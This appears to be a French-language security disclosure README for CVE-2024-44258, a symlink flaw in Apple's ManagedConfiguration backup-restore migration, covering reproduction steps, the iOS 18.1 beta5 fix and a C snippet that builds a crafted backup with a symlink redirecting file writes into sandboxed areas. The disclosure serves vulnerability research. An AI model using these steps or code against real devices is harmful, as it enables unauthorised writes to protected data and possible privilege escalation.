
CVE-2024-44258
CVE-2024-44258 met en évidence une vulnérabilité de lien symbolique dans le framework ManagedConfiguration et le démon profiled sur les appareils Apple. Lors de la restauration d’une sauvegarde contrefaite, le processus de migration ne vérifie pas si le dossier de destination est un lien symbolique (symlink), ce qui permet une migration non autorisée de fichiers vers des zones restreintes.
CVE-2024-44258 a été attribué à ce problème. Les CVE sont des identifiants uniques pour les vulnérabilités de sécurité publiquement divulguées.
Pour plus d’informations, veuillez consulter les pages d’assistance officielles d’Apple :
La vulnérabilité permet aux attaquants d’exploiter des liens symboliques lors d’une restauration de sauvegarde pour contourner les restrictions de dossiers, en écrivant des fichiers dans des zones sandbox ou protégées. Cette faille peut potentiellement permettre un accès non autorisé aux données, une élévation de privilèges ou l’exploitation d’autres services dépendants de la configuration modifiée.
Créer une sauvegarde contrefaite
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
Ajouter les fichiers souhaités
/private/var/mobile/Library/ConfigurationProfilesRestaurer la sauvegarde contrefaite
Redémarrer l’appareil
Attendu :
/private/var/mobile/Library/ConfigurationProfiles devrait migrer vers :
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
Réel :
En raison du lien symbolique contrefait, les fichiers sont migrés vers un dossier restreint pouvant contenir des données sensibles ou protégées.
Cette vulnérabilité a été observée dans la nature pendant plusieurs mois, indiquant son exploitation active.
Dans iOS 18.1 beta5, Apple a introduit un correctif pour remédier à la vulnérabilité de lien symbolique dans le framework ManagedConfiguration. La fonction _MCDestinationPathIsSafeFromSymlinkAttacks a été ajoutée pour effectuer une vérification de sécurité sur le chemin de destination, empêchant la migration non autorisée de fichiers vers des zones restreintes. Cette vérification a été spécifiquement ajoutée à la fonction MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]Le correctif de la vulnérabilité a été implémenté en modifiant la fonction -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:], qui est responsable de la gestion des migrations de fichiers dans le framework ManagedConfiguration. Voici comment fonctionne le correctif :
Ajout de la vérification de lien symbolique
Apple a ajouté un appel à _MCDestinationPathIsSafeFromSymlinkAttacks au début de MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. Cette fonction vérifie désormais si le chemin de destination est exempt de liens symboliques, ajoutant une couche de protection avant d’effectuer toute opération de migration.
Vérification conditionnelle
Si _MCDestinationPathIsSafeFromSymlinkAttacks détecte un lien symbolique dans le chemin de destination, elle empêche la migration de se poursuivre. La fonction enregistre un message de défaut à l’aide de OS_LOG_TYPE_FAULT et se termine prématurément, stoppant l’opération sur le fichier.
À l’aide de Diaphora dans IDA, une comparaison diff entre iOS 18.1 beta4 et iOS 18.1 beta5 révèle les modifications dans la fonction -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. L’image ci-dessous montre le code modifié avec la vérification de lien symbolique ajoutée.

Voici un exemple de snippet de code montrant comment fabriquer une sauvegarde exploitant la vulnérabilité. Ce code décrit comment ajouter un lien symbolique et des fichiers à la sauvegarde, simulant le processus sans fournir le fichier de sauvegarde contrefait réel.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // CE CHEMIN DOIT ÊTRE MODIFIÉ VERS LE CHEMIN DU FICHIER
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // NOUS AJOUTONS NOS FICHIERS
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGEZ LE CHEMIN VERS LE DOSSIER SANDBOXÉ DANS LEQUEL VOUS VOULEZ ÉCRIRE VOS FICHIERS
backup_write_mbdb(backup); // SAUVEGARDER LA SAUVEGARDE
backup_free(backup);
Un grand merci à l’équipe de sécurité d’Apple pour leur réponse rapide et leur collaboration.
Vulnérabilité découverte par Hichem Maloufi & Christian Mina
Ce dépôt est sous licence MIT. Voir le fichier LICENSE pour plus d’informations.